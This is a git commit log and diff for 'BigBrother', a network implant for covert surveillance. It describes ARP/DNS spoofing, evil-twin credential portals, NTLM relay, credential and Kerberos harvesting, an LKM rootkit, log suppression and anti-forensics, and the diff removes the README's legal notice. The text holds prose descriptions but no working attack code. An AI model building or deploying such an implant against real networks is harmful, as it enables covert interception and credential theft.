n0mad1k a0164c0275 Fix aircrack-ng detection to use apt-cache policy instead of apt-cache show
apt-cache show returns true even when Candidate is (none). Use
apt-cache policy and grep for a real version string to correctly
skip aircrack-ng on Ubuntu arm64 where it has no install candidate.
2026-03-22 17:34:52 -04:00
n0mad1k 054c044546 Fix aircrack-ng apt install failure on Ubuntu arm64
Make aircrack-ng a conditional package install (same pattern as
proxychains/sshuttle) so setup.sh doesn't abort on distros where
the package has no install candidate.
2026-03-22 17:33:21 -04:00
n0mad1k 65f1fe8049 Add sd_wifi.py -- operator tool for updating WiFi config on SD cards
Interactive and non-interactive CLI to detect, mount, and edit the
netplan 20-wifi.yaml on an armbi_root-labelled SD card without
needing to boot the implant.
2026-03-21 19:35:19 -04:00
n0mad1k 187012e845 Add autostart.sh -- systemd service lifecycle management script
Enables/disables/reports status for bigbrother-core, bigbrother-capture,
and bigbrother-watchdog. Supports enable (enable+start), disable (stop+disable),
and status commands. Works locally on-device and over SSH from operator machine.
2026-03-21 19:34:14 -04:00
n0mad1k 56cca8ac3d Phase 5: Final integration — fix imports, full module discovery, interactive menu
- Fix pyserial import error in cellular_backup.py (lazy import with fallback)
- Replace stealth-only module discovery with discover_all_modules() across all
  5 categories (stealth, passive, active, intel, connectivity)
- Wire up interactive menu options 5-8:
  - View Credentials: query credential_db SQLite, Rich table with stats
  - View Intelligence: host count, cred stats, security posture summary
  - Network Topology: host table from topology_mapper state data
  - Timeline: recent entries from operator_audit HMAC-chained log
- Update start command to discover+register all enabled modules (not just stealth)
- Update modules/activate/selftest commands to use full module discovery
- Add is_module_enabled() config-aware helper for per-category defaults
- Fix modules.yaml module count headers (16->17 passive, 8->9 active/intel)
- Set bettercap_mgr enabled=false (all active modules disabled by default)
- Add tests/test_all_modules.py: 179 parametrized tests covering import,
  BaseModule subclass, attributes, and instantiation for all 55 modules
  across passive, active, intel, and connectivity categories
- All 256 tests passing
2026-03-18 13:59:27 -04:00
n0mad1k ba5143b560 Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
2026-03-18 13:48:11 -04:00
n0mad1k 955ebfc8db Add Phase 3 connectivity modules — 8 modules + bridge scripts
WireGuard (primary C2, PersistentKeepalive=0 for zero idle traffic),
Tailscale (fallback mesh VPN), Bridge (transparent inline L2 bridge with
802.1X bypass and ebtables protocol suppression), WiFiClient (WPA2-PSK
and WPA2-Enterprise via wpa_supplicant), ReverseTunnel (autossh over
stunnel/websocket — never raw SSH on 443), CellularBackup (LTE modem
via AT commands/mmcli, OPi Zero 3+ only), BLEEmergency (GATT server
with PSK auth for local last-resort access), DataExfil (priority-based
exfil with IMMEDIATE/NIGHTLY/ON_DEMAND tiers through connectivity chain).

Bridge scripts: setup_bridge.sh (create br0, disable STP, suppress
CDP/LLDP/BPDU via ebtables) and teardown_bridge.sh (safe cleanup).
2026-03-18 13:43:04 -04:00
n0mad1k 176da06dc9 Add Phase 2 intel modules — 9 intelligence modules for on-device analysis
- credential_db: Central credential store with dedup, hashcat/CSV/JSON export, crack tracking
- topology_mapper: Network graph from HOST_DISCOVERED/VLAN_DETECTED events, Graphviz DOT/SVG output
- net_intel: Beacon detection (stddev/mean analysis), comm graph, DNS tunneling, service deps
- user_timeline: Per-user activity timelines, work hours, admin/service account identification
- supply_chain_detect: Passive detection of PyPI/npm mirrors, WSUS, CI/CD, SCCM, container registries
- change_detector: Continuous baseline diff for burn detection, scan/security tool alerts
- security_posture: EDR/SIEM/NAC/honeypot/scanner detection by DNS/port/UA, risk gating
- operator_audit: Append-only HMAC chain audit log for engagement deconfliction
- tool_output_parser: Unified parser for bettercap events, Responder logs, mitmproxy flows
2026-03-18 13:33:17 -04:00
n0mad1k ab27aa968b Add 9 advanced passive modules: VLAN, network mapper, auth tracker, SMB, cloud tokens, LDAP, RDP, QUIC, DB interceptor
Phase 2 batch 2: protocol-specific passive modules for deep network
visibility. Each module subscribes to capture_bus, parses protocol
structures with struct (no scapy), buffers SQLite writes, and publishes
bus events for cross-module correlation.

- vlan_discovery: 802.1Q/DTP/CDP/LLDP/STP/EAPOL layer-2 parsing
- network_mapper: communication graph with role classification and DOT output
- auth_flow_tracker: Kerberos/NTLM/SSH/LDAP auth correlation per user
- smb_monitor: SMB2/3 tree connect, file access, GPP/SYSVOL detection
- cloud_token_harvester: regex scan cleartext HTTP for AWS/JWT/OAuth/SAML/GCP tokens
- ldap_harvester: BER/ASN.1 LDAP parsing for AD object inventory and LAPS detection
- rdp_monitor: RDP cookie + CredSSP NTLM extraction, admin workstation detection
- quic_analyzer: QUIC Initial packet parsing with RFC 9001 key derivation for SNI
- db_interceptor: MSSQL TDS, MySQL, PostgreSQL, Redis RESP, MongoDB OP_MSG parsing
2026-03-18 13:31:18 -04:00
n0mad1k 1c85244e9c Add 8 passive network observation modules (Phase 2)
- PacketCapture: tcpdump subprocess with zstd compression + AES-256-GCM encryption, disk auto-purge
- DNSLogger: DNS query/response parsing with DoH detection, batch SQLite writes
- TLSSNIExtractor: TLS ClientHello SNI extraction with TCP reassembly for fragments
- CredentialSniffer: FTP/HTTP Basic/form POST/SNMP/LDAP/NTLMv1v2 credential extraction
- KerberosHarvester: AS-REQ/AS-REP/TGS-REP parsing for hashcat modes 7500/18200/13100
- HostDiscovery: ARP/DHCP/mDNS/NetBIOS/SSDP/LLMNR passive host inventory with OUI lookup
- OSFingerprint: p0f-style TCP SYN analysis + HTTP UA/SSH banner/SMB dialect fingerprinting
- TrafficAnalyzer: flow tracking, protocol distribution, top talkers, beacon detection

All modules extend BaseModule, use capture_bus subscription, struct-based parsing
(no scapy), batch SQLite writes, and publish bus events.
2026-03-18 13:30:39 -04:00
n0mad1k 3394c72814 Add main CLI entry point and full test suite
- bigbrother.py: Click CLI with start/stop/status/activate/deactivate/
  kill/config/selftest/modules commands plus Rich interactive menu.
  Module discovery scans modules/stealth/ for BaseModule subclasses.
  Supports --daemon mode with PID file and --passive-only flag.
- tests/conftest.py: Shared fixtures (tmp_dir, mock_config, mock_bus,
  mock_state, hardware_tier_override, project_root)
- tests/test_bus.py: 6 tests for EventBus pub/sub, filtering, wildcards
- tests/test_engine.py: 5 tests for Engine lifecycle, deps, tier, phase
- tests/test_crypto.py: 5 tests for AES-256-GCM, file encryption, KDF
- tests/test_resource.py: 7 tests for hardware detection, memory, disk
- tests/test_tool_manager.py: 6 tests for subprocess management
- tests/test_stealth_modules.py: 4 parametrized test classes covering
  all 12 stealth modules (import, inheritance, attributes, instantiation)
2026-03-18 09:48:23 -04:00
n0mad1k 6caf1a15ca Add Phase 1 advanced stealth modules: anti-forensics, traffic mimicry, JA3 spoofing, IDS testing, LKM rootkit, overlayfs manager
6 Python modules extending BaseModule + LKM kernel module template:
- anti_forensics.py: timestomping, core dump disable, swap off, journal vacuum, history suppression, bettercap tmpfs home, secure deletion
- traffic_mimicry.py: two-phase baseline/shaping engine matching implant traffic to observed network patterns
- ja3_spoofer.py: TLS fingerprint spoofing with Chrome/Firefox/Edge profiles, iptables NFQUEUE interception, SSL context configuration
- ids_tester.py: on-demand Snort/Suricata rule assessment with risk levels, preflight validation, caplet analysis
- lkm_rootkit.py: kernel module lifecycle (build/load/unload) for process/file/connection hiding on generic Debian hosts
- overlayfs_manager.py: tmpfs-backed overlayfs with tier-aware size budgets for zero SD card write activity
- bb_hide.c: ftrace-based LKM hooking getdents64/tcp4_seq_show/udp4_seq_show with self-hiding from lsmod
- Makefile: standard out-of-tree kernel module build
2026-03-18 08:23:02 -04:00
n0mad1k d883b07e34 Add Phase 1 core stealth modules: MAC manager, process disguise, log suppression, encrypted storage, tmpfs manager, watchdog
6 stealth modules implementing the OPSEC layer:
- MacManager: innocuous MAC profiles from DB, DHCP hostname/vendor class spoofing, TCP stack tuning (TTL, window, timestamps)
- ProcessDisguise: rename processes to system service names via prctl, auto-disguise on MODULE_STARTED/TOOL_RESTARTED events
- LogSuppression: rsyslog filters, auditd exclusions, journald rate limits, shell history/utmp/wtmp clearing with clean removal on stop
- EncryptedStorage: LUKS2 container with HKDF network-derived key (CPU serial + C2 component), fallback key, auto-format and subdirectory creation
- TmpfsManager: tier-aware RAM-backed mounts for working dirs and WAL files, power loss = instant evidence destruction
- Watchdog: periodic health checks, auto-restart (max 3), OOM priority assignment by module type, bus event monitoring
2026-03-18 08:21:01 -04:00
n0mad1k f90a686626 Phase 1: setup script and data bootstrapping
- setup.sh: Idempotent bootstrap for OPi Zero 3 / RPi Zero 2W / Debian
  Platform detection, system packages, Pi optimizations (gpu_mem, swap,
  sysctl), directory structure, Python venv, bettercap binary install,
  external tools (Responder, NetExec, Chisel, Ligolo, kerbrute, etc),
  data database creation, systemd service install, permissions, verification.
  Supports --reinstall, --jumpbox, --no-tools, --verify-only flags.

- scripts/build_data.py: Creates 5 SQLite databases
  innocuous_macs.db (51 consumer device profiles with OUI/DHCP/TCP fingerprints),
  oui.db (50 seed OUIs), os_sigs.db (16 p0f-style signatures),
  dhcp_fingerprints.db (19 option-55 fingerprints), ja3_fingerprints.db (13 hashes)

- scripts/build_lkm.sh: LKM rootkit compiler wrapper

- scripts/rotate_pcap.sh: tcpdump post-rotation handler with zstd compression,
  optional AES-256-GCM encryption, disk space monitoring, and auto-purge
2026-03-18 08:13:55 -04:00
n0mad1k 0a05f009e8 Add Phase 1 core infrastructure: event bus, state manager, engine, capture bus, tool manager, scheduler, resource monitor, kill switch
Core framework (8 files in core/) + BaseModule ABC (2 files in modules/):

- bus.py: Multiprocess-safe pub/sub event bus using mp.Queue with background dispatcher thread, 20 canonical event types
- state.py: SQLite persistent state with WAL mode, dedicated writer thread with 500ms coalesce, module status + generic key-value store
- engine.py: Module lifecycle manager with multiprocess model, dependency resolution (topological sort), hardware tier detection (opi_zero3/pi_zero/generic), resource budgeting, scope enforcement, engagement phase gating
- capture_bus.py: Single AF_PACKET socket packet demux with per-module subscriber queues, BPF filter matching, drop-oldest backpressure
- tool_manager.py: Subprocess lifecycle for external tools (bettercap/tcpdump/Responder/mitmproxy/ntlmrelayx) with exponential backoff restart, /proc resource monitoring, process disguise via prctl, health check callbacks, graceful SIGTERM->SIGKILL shutdown
- scheduler.py: Cron-like task scheduler with jitter, thread pool execution, enable/disable/run_now controls
- resource_monitor.py: System + per-process RAM/CPU/disk/thermal monitoring, OOM kill lowest-priority module, thermal shedding at 70C
- kill_switch.py: 7-phase wipe sequence (stop procs, corrective ARP, LUKS destroy, shred keys, zero-fill, clear RAM, reboot), boot flag for interrupted wipe resume, dead man's switch
- modules/base.py: BaseModule ABC with start/stop/status/configure/health_check interface contract
2026-03-18 08:13:11 -04:00
n0mad1k 62a1010ab4 Add Phase 1 utility modules: crypto, networking, logging, stealth, resource, permissions, config_loader, bettercap_api
9 files in utils/ providing the shared infrastructure layer:
- crypto: AES-256-GCM file encryption, argon2id/PBKDF2 key derivation, HKDF network unlock, LUKS container management
- networking: interface detection, MAC/IP helpers, BPF compilation via libpcap ctypes, gratuitous ARP, VLAN creation
- logging: encrypted log writer (BBLogger) with rotation, per-module files, stdout suppression for stealth
- stealth: process rename via prctl, cmdline spoofing, sysctl helpers, timestomping, core dump disable
- resource: hardware tier detection (OPi Zero 3 / Pi Zero / generic) via /proc/device-tree and cpuinfo, resource monitoring
- permissions: root/capability checks via capget ctypes, privilege dropping, directory permission enforcement
- config_loader: YAML merge hierarchy (hardware_tiers -> bigbrother -> modules -> stealth -> CLI), tier auto-detection, SIGHUP reload
- bettercap_api: REST client with per-session random credentials, session/events/command methods
2026-03-18 08:11:25 -04:00
n0mad1k 63e317176d Update hardware platform to Orange Pi Zero 3 (4GB) as primary implant
Replaces RPi 4 as main implant with OPi Zero 3 — 50x55mm footprint,
WiFi 5 + BT 5.0 built-in, 4GB RAM, $29. RPi Zero 2W retained as
jumpbox/beacon role. Updated all hardware tier tables, memory budgets,
OPSEC notes, and operational workflow.
2026-03-18 08:04:24 -04:00
n0mad1k 5694fdc56c WireGuard as primary C2 — zero traffic when idle, on-demand connect. Tailscale moves to fallback. 2026-03-17 16:03:21 -04:00
n0mad1k b6d9d7a738 Drop Suricata/RITA — Zeek is the offensive analysis tool, IDS is not our job 2026-03-17 15:32:12 -04:00
n0mad1k 813e224b03 v4.0: Shadow SOC framing — Zeek/Suricata/RITA offline analysis, innocuous MAC profiles, operator workstation as SOC analysis brain 2026-03-17 15:28:15 -04:00
n0mad1k 0a80f8bed8 v4.0 design rewrite: orchestrator architecture, operator workstation, innocuous MACs
Major rewrite of BIGBROTHER_DESIGN.md incorporating three architectural changes:

1. Orchestrator model: BigBrother wraps proven tools instead of reimplementing.
   - bettercap replaces 5+ custom active modules (ARP/DNS/DHCP/HTTP/SSL)
   - tcpdump replaces custom scapy packet capture
   - 11 modules deleted (file_extractor, email_sniffer, print_interceptor,
     voip_capture, protocol_analyzer, session_hijacker, http_logger,
     ssl_downgrade, js_injector, cloud_token_active, report_generator)
   - New: bettercap_mgr, tool_manager, tool_output_parser, bettercap_api
   - Module count: 67 -> 60

2. Operator workstation section: offline analysis tools and pull scripts
   for file carving, email/print reconstruction, GPU hash cracking, and
   report generation from PCAPs and SQLite DBs.

3. Innocuous MAC database: curated consumer device profiles (Fire TV,
   iPhone, Roku, etc.) with matching DHCP hostname, vendor class, TTL,
   and TCP window size for complete device impersonation.

Deleted ARCHITECTURE_RETHINK.md (merged into design doc).
2026-03-17 12:35:47 -04:00
n0mad1k 0a62b805f4 v4.0 architecture rethink: orchestrator model over custom reimplementation
6-agent security tribe evaluation of replacing 11 custom Python modules
with bettercap/tcpdump/tshark wrappers. Modules categorized as DELETE
(offline processing), WRAPPER (proven tool orchestration), or KEEP
(genuinely lightweight custom code). Revised file tree, resource impact
analysis, risk assessment, and on-device vs offline processing matrix.
2026-03-17 12:27:09 -04:00
n0mad1k 0a40103fd5 Full PCAP on all tiers — no headers-only, no tiered retention. 128GB+ with zstd-19 handles it. 2026-03-17 12:09:22 -04:00
n0mad1k 4a22eb566f Rewrite operational workflow with detailed per-module output for dental office scenario
Complete rewrite showing exact expected output from every passive and active
module against a realistic small business dental office network. Includes
protocol-level explanations, realistic fake data, honest assessment of what
produces zero, and step-by-step DNS poisoning/ARP spoofing/Responder walkthroughs.
2026-03-17 12:04:04 -04:00
n0mad1k 5ad9f41fba Initial commit: BigBrother design doc and operational workflow 2026-03-17 11:48:47 -04:00
n0mad1k a4edcf6e15 v3.2: Merge security review into design doc as single source of truth
Integrate all findings from SECURITY_REVIEW.md inline into module specs:
- OPSEC warnings added to arp_spoof, responder_mgr, evil_twin, mitmproxy, tailscale, ble_emergency
- Accepted limitations noted in tls_sni_extractor (ECH, DoH, TLS 1.3), smb_monitor (SMB3), email_sniffer, credential_sniffer, process_disguise, bridge
- New modules: data_exfil.py (connectivity), wordlists in data/
- Design changes: tiered PCAP retention, ARP crash recovery, 802.1X full bypass, engagement phase gating, schema migration, setup reliability
- Hardware notes: USB power budget, Pi fingerprint mitigations, physical detection, SD write endurance
- Remove SECURITY_REVIEW.md and review_agent5_redteam.json
2026-03-17 11:11:25 -04:00
n0mad1k 3041943c21 PCAP max compression: zstd -19 on rotation for storage and transfer efficiency 2026-03-17 11:01:19 -04:00
n0mad1k d3d1deb99c v3.1: Incorporate security tribe review findings into design doc
Add 7 new modules: ldap_harvester, rdp_monitor, quic_analyzer,
db_interceptor (passive), change_detector, security_posture,
operator_audit (intel). Add capture_bus for single AF_PACKET
demux to per-module queues (multiprocess architecture). Fix Pi
Zero memory budget (70MB interpreter, 4 passive modules max).
Move sensitive config inside LUKS with network-derived boot key.
Require 128GB SD card with zstd PCAP compression. Add coercion
tools (Coercer, PetitPotam), proxychains-ng, socat, sshuttle,
pypykatz, ldapdomaindump, smbmap, ROADtools. Add thermal
monitoring, SQLite contention fix (single DB + async writer),
bridge STP/CDP suppression, DHCP fingerprinting, wireless
interface conflict detection, optional scope.yaml, DoH/ECH
awareness, triage CLI command. Update implementation phases
and hardware tier matrix.
2026-03-17 10:57:51 -04:00
n0mad1k 7915ef17de Add consolidated security review from 6-agent tribe analysis
91 raw findings from Security, OPSEC, Blue Team, APT, Red Team, and
Infra/Reliability analysts consolidated to 45 actionable items across
7 sections: new modules (9), design changes (10), infra fixes (6),
tool gaps (5), OPSEC warnings (10), and accepted limitations (7).

Key themes: LDAP/RDP monitoring gaps, PCAP storage crisis, data exfil
pipeline needed, ARP/Responder detection risk, Pi Zero memory budget
exceeded, multiprocess architecture required, config files outside LUKS.
2026-03-17 10:28:42 -04:00
n0mad1k f959ef89cd Rewrite design doc v3.0: surveillance platform + operator jump box
Complete rewrite of BIGBROTHER_DESIGN.md with new design philosophy:
- Removed autonomous decision engine, state machine, hard scope enforcement
- Removed lateral movement automation, tool wrappers, attack chain recipes
- Removed push notifications, automated attack chaining, OT lockout
- Added 8 new passive surveillance modules: DNS logger, TLS SNI extractor,
  network relationship mapper, auth flow tracker, SMB file access monitor,
  VoIP/SIP metadata capture, print job interception, email sniffer
- Added 4 new active modules: HTTP transaction logger, file extractor,
  JS/HTML injection, mitmproxy integration
- Added per-user activity timeline intelligence module
- Pre-installed tools section (nmap, Certipy, Impacket, BloodHound,
  CrackMapExec, Chisel, Ligolo-ng, etc.) - installed not wrapped
- Simplified to 5 implementation phases from 10
- Operator makes all decisions, no autonomous behavior
2026-03-17 10:04:14 -04:00
n0mad1k 45dc317c31 Add consolidated BigBrother design document post-tribe review
Comprehensive network implant architecture incorporating findings from
6-agent security review tribe. Key additions: 802.1X NAC bypass,
AD attack suite (Kerberoast/ADCS/coercion), autonomous decision engine,
multi-protocol C2 chain, traffic mimicry, hardware tier enforcement,
mandatory scope enforcement, OT/SCADA passive lockout, 5 attack chain
recipes, detection risk matrix, and reliability safeguards.
2026-03-17 07:39:01 -04:00
36 changed files with 2586 additions and 1210 deletions
+8
View File
@@ -12,3 +12,11 @@ __pycache__/
net_alerter/.secrets
BIGBROTHER_DESIGN.md
.claude/
# AI workflow artifacts - transient, never commit
audits/
.claude/audits/
AUDIT_*.md
FIXES_*.md
FIXES.md
GATE_*.md
-48
View File
@@ -1,48 +0,0 @@
# Contributing
## What's Welcome
- Bug fixes with a clear reproduction case
- New passive capture modules (stick to the module pattern in `modules/passive/`)
- Hardware support for additional SBCs
- Documentation improvements
## What's Not Welcome
- Active modules that target specific commercial services (keep it protocol-level)
- Features that reduce OPSEC (fingerprints, banners, hardcoded strings)
- Breaking changes to the state machine API without a migration path
## Module Pattern
New modules implement the `BaseModule` interface:
```python
class MyModule(BaseModule):
name = "my_module"
tier = "passive" # or "active"
requires = ["root"] # capabilities needed
def start(self): ...
def stop(self): ...
def status(self) -> dict: ...
```
Modules must not block the main event loop. Use threads or asyncio internally.
## Testing
```bash
python3 -m pytest tests/
```
Tests that require root or live network access are marked `@pytest.mark.requires_root` and skipped in CI. Write unit tests for logic that doesn't need hardware.
## Submitting Changes
1. Fork the repo
2. Branch from `main`
3. Write a test if the change has logic worth testing
4. Open a PR with a description of what changed and why
No CLA. MIT License applies to all contributions.
+209
View File
@@ -0,0 +1,209 @@
# BigBrother Condo Daemon: Implementation Plan
## Status Summary
The BigBrother daemon has been running since March 25 but is completely non-functional. All modules fail silently. Root cause: 5 cascading issues blocking module startup.
## DevTrack Items Created
- #187: Issue 1 — Auto-detect active network interface
- #188: Issue 2 — Instantiate CaptureBus in Engine
- #189: Issue 3 — Seed database tables
- #190: Issue 4 — Track module startup state
- #191: Issue 5 — Diagnose LUKS encrypted storage
---
## Issue Analysis & Fix Strategy
### Issue 1: Wrong Network Interface (CRITICAL - Hard Blocker)
**Current State:**
- `CaptureBus.__init__` defaults to `"eth0"`
- `PacketCapture.DEFAULT_INTERFACE` = `"eth0"`
- `bigbrother.yaml` has `primary_interface: "auto"` but auto-detection doesn't propagate
- Condo Pi is on `wlan0` (10.0.0.0/24). `eth0` has no carrier → capture fails
**Root Cause:**
- No active interface detection function exists
- Hardcoded defaults override config values
- Config "auto" value is never resolved
**Files to Change:**
- `core/capture_bus.py` — Remove hardcoded "eth0", accept interface param in __init__
- `modules/passive/packet_capture.py` — Remove DEFAULT_INTERFACE, read from config
- `core/engine.py` — Add `detect_active_interface()` call
- `bigbrother.py` — Resolve "auto" before passing to Engine
**Parallel Capability:** Independent before Issue 2.
---
### Issue 2: CaptureBus Never Instantiated (CRITICAL - Hard Blocker)
**Current State:**
- `core/capture_bus.py` exists and is well-implemented
- `core/engine.py` has NO code to instantiate CaptureBus or inject into module configs
- 15+ passive modules call `self.config.get("capture_bus")` → all get None → bail
**Affected Modules:**
- dns_logger, host_discovery, credential_sniffer, traffic_analyzer, tls_sni_extractor, os_fingerprint, quic_analyzer, rdp_monitor, smb_monitor, ldap_harvester, kerberos_harvester, vlan_discovery, network_mapper, cloud_token_harvester, auth_flow_tracker
**Files to Change:**
- `modules/base.py` — Add `requires_capture_bus = False` class attribute
- `modules/passive/*.py` (15 files) — Set `requires_capture_bus = True`
- `core/engine.py` — Instantiate CaptureBus, start it, inject into module configs
- `bigbrother.py` — Document dependency
**Parallel Capability:** Depends on Issue 1. Module prep work (flags) can run in parallel.
---
### Issue 3: Database Tables Not Seeded (CRITICAL - Blocking 2 modules)
**Current State:**
- `ja3_spoofer` reads from `ja3_profiles` table → doesn't exist → crashes
- `mac_manager` reads from `mac_profiles` table → doesn't exist → crashes
- `scripts/build_data.py` doesn't seed these tables
**Files to Change:**
- `scripts/build_data.py` — Add `create_ja3_profiles_db()` + `create_mac_profiles_db()`
- `setup.sh` — Ensure new functions are called
**Parallel Capability:** Independent. Can run in parallel with Issues 1+2.
---
### Issue 4: Module Status Never Written (BLOCKING Status Checks)
**Current State:**
- Modules crash before calling `state.set_module_status("running")`
- Engine returns True (process created, not "running") before module actually initializes
- `status` command shows "No modules registered"
**Files to Change:**
- `core/state.py` — Ensure states: pending, starting, running, failed, stopped
- `core/engine.py:start()` — Write pending/starting states, catch initialization failures
- `core/engine.py` — Add health check loop to detect process death
**Parallel Capability:** Depends on Issues 1+2. Can implement state machine separately.
---
### Issue 5: LUKS Encrypted Storage Module (Lower Priority)
**Current State:**
- `encrypted_storage` module fails to create LUKS container
- Requires sudo access to condo Pi to diagnose
- Storage directory is root-owned, inaccessible without sudo
**Action:**
- Postpone until Issues 1-4 are fixed and deployed
- Then SSH to condo with sudo and investigate
**Parallel Capability:** Blocked by sudo access requirement.
---
## Implementation Sequence
### Phase 1 — Module Prep (Parallel, independent streams)
**Stream A: Interface Detection**
- Create `utils/network.py` with `detect_active_interface()`
- Commit
**Stream B: Module Flags**
- Add `requires_capture_bus = True` to 15 passive modules
- Add `modules/base.py` class attribute
- Commit
**Stream C: Database Seeding**
- Update `scripts/build_data.py` with JA3 + MAC table seeding
- Update `setup.sh` to call both
- Commit
**Convergence:** All three streams complete independently, zero merge conflicts.
---
### Phase 2 — Engine Core Changes (Sequential)
**Step 1: Engine initialization**
- Add interface detection call in Engine.__init__
- Resolve config["network"]["primary_interface"] from "auto" to actual interface
- Commit
**Step 2: CaptureBus instantiation & injection**
- Instantiate CaptureBus(interface=resolved_iface) in Engine.__init__
- Inject into configs of modules with requires_capture_bus=True
- Commit
**Step 3: Graceful lifecycle**
- Call capture_bus.start() before start_all()
- Call capture_bus.stop() in stop_all()
- Commit
**Step 4: Module startup state tracking**
- Write "pending" before proc.start()
- Write "starting" after proc.start()
- Catch exceptions and write "failed"
- Add health check loop
- Commit
---
### Phase 3 — Testing & Deployment
- Run pytest suite
- Deploy to condo with setup.sh
- SSH to condo: verify `bigbrother status` shows all modules "running"
- Spot-check: verify dns_logger capturing DNS
- Mark DevTrack items for user approval
---
## Conflict Risk Assessment
| Issue | Parallel | Risk | Reason |
|-------|----------|------|--------|
| 1+2 | No | HIGH | Engine init depends on interface detection |
| 1+3 | Yes | LOW | Independent file changes |
| 1+4 | No | HIGH | Status tracking needs working modules (Issue 2 first) |
| 2+3 | Yes | LOW | Independent subsystems |
| 2+4 | No | MEDIUM | Both touch engine.py, but different sections |
| 3+4 | Yes | LOW | Database seeding independent of engine state |
---
## File Inventory
### NEW FILES
- `utils/network.py` — Interface detection utilities
### MODIFIED FILES (Core)
- `core/engine.py` — Interface detection, CaptureBus instantiation, state tracking
- `core/capture_bus.py` — Accept interface param (minimal change)
- `core/state.py` — Ensure state enum (minimal change)
- `bigbrother.py` — Config resolution (minimal change)
- `modules/base.py` — Add class attributes (minimal change)
### MODIFIED FILES (Module Flags)
- 15 × `modules/passive/*.py` — Add `requires_capture_bus = True` (1-line each)
- `modules/active/ja3_spoofer.py` — Flag (minimal)
- `modules/active/mac_manager.py` — Flag (minimal)
### MODIFIED FILES (Data Seeding)
- `scripts/build_data.py` — Add JA3 + MAC seeding functions
- `setup.sh` — Ensure new functions called
---
## Total Scope
- ~30 file edits (most are 1-line flag additions)
- 3 new functions
- 1 new file
- ~200 lines of logic in engine.py
- ~50 lines in build_data.py
- Zero new dependencies
---
## Success Criteria
1. `bigbrother status` shows all 15+ passive modules as "running"
2. `dns_logger` is capturing and logging DNS queries
3. No "requires capture_bus" errors in logs
4. No database table errors from ja3_spoofer or mac_manager
5. Graceful stop_all() terminates all modules and CaptureBus cleanly
+3 -3
View File
@@ -62,7 +62,7 @@ TIMESTAMP SOURCE IP QUERY TYPE RES
2026-03-18 07:52:11 10.0.1.102 dentrix.com A 104.18.22.33 Dentrix cloud portal check on boot
2026-03-18 07:52:14 10.0.1.102 econnector.dentrix.com A 104.18.23.44 eClinicalWorks connector — patient data sync
2026-03-18 07:53:01 10.0.1.5 time.windows.com A 168.61.215.74 SQL Server syncing NTP — confirms Windows host
2026-03-18 08:01:33 10.0.1.6 quickbooks.intuit.com A 192.168.1.55 QuickBooks phoning home at start of business
2026-03-18 08:01:33 10.0.1.6 quickbooks.intuit.com A 10.0.0.0 QuickBooks phoning home at start of business
2026-03-18 08:01:34 10.0.1.6 payroll.intuit.com A 13.110.10.40 Payroll module — confirms financial data on this host
2026-03-18 08:15:22 10.0.1.101 chase.com A 159.53.45.5 Someone checking personal bank at 8:15 AM
2026-03-18 08:22:07 10.0.1.30 api.hik-connect.com A 47.91.74.8 Hikvision camera heartbeat (repeats every 30s)
@@ -693,8 +693,8 @@ HASH# USER SOURCE TRIGGER HASH (truncated)
sudo bigbrother activate evil_twin --ssid "DentalOffice" --template guest_wifi --deauth
[*] Starting hostapd: SSID "DentalOffice", channel 6
[*] Starting dnsmasq: DHCP 192.168.4.0/24, DNS → captive portal
[*] Captive portal: "WiFi login required" page on 192.168.4.1
[*] Starting dnsmasq: DHCP 10.0.0.0/24, DNS → captive portal
[*] Captive portal: "WiFi login required" page on 10.0.0.0
[*] Deauth: sending 5 deauth frames to AA:BB:CC:DD:EE:FF (real AP) every 30s
```
-127
View File
@@ -1,127 +0,0 @@
# BigBrother
Network drop implant for silent, autonomous network surveillance. Deploy on any Debian host and get passive SOC-level visibility plus active exploitation capability over a C2 tunnel.
> **Legal notice:** This tool is for authorized penetration testing, red team engagements, and security research on networks you own or have written permission to test. Unauthorized use is illegal and unethical. You are responsible for your actions.
## What It Does
BigBrother turns a cheap SBC or any Debian host into a persistent network implant with two operational modes:
**Passive (always on)**
- DNS query logging and exfiltration
- TLS SNI fingerprinting (JA3/JA3S)
- Credential sniffing (HTTP Basic, FTP, IMAP, POP3, SMTP)
- Kerberos ticket harvesting
- Host discovery and device fingerprinting
- Device presence tripwire (Matrix alerts on arrival/departure)
**Active (operator-triggered)**
- ARP spoofing and poisoning
- DNS/DHCP spoofing
- Responder (LLMNR/NBT-NS/MDNS poisoning)
- mitmproxy HTTPS interception
- ntlmrelayx (NTLM credential relay)
- Bettercap MITM orchestration
**Stealth layer**
- LKM rootkit (process/file/network hiding)
- Process disguise and anti-forensics
- JA3 fingerprint randomization
- Kill switch
**C2 connectivity**
- WireGuard, Tailscale, or reverse SSH tunnel
## Hardware
| Board | Capability |
|-------|-----------|
| Orange Pi Zero 3 (1GB+) | Full passive + active + stealth |
| Raspberry Pi 4 | Full passive + active + stealth |
| Raspberry Pi 3B | Full passive, limited active |
| Raspberry Pi Zero 2W | Passive only |
| Any Debian host | Full capability |
Minimum: 512MB RAM, one network interface, Debian 11+.
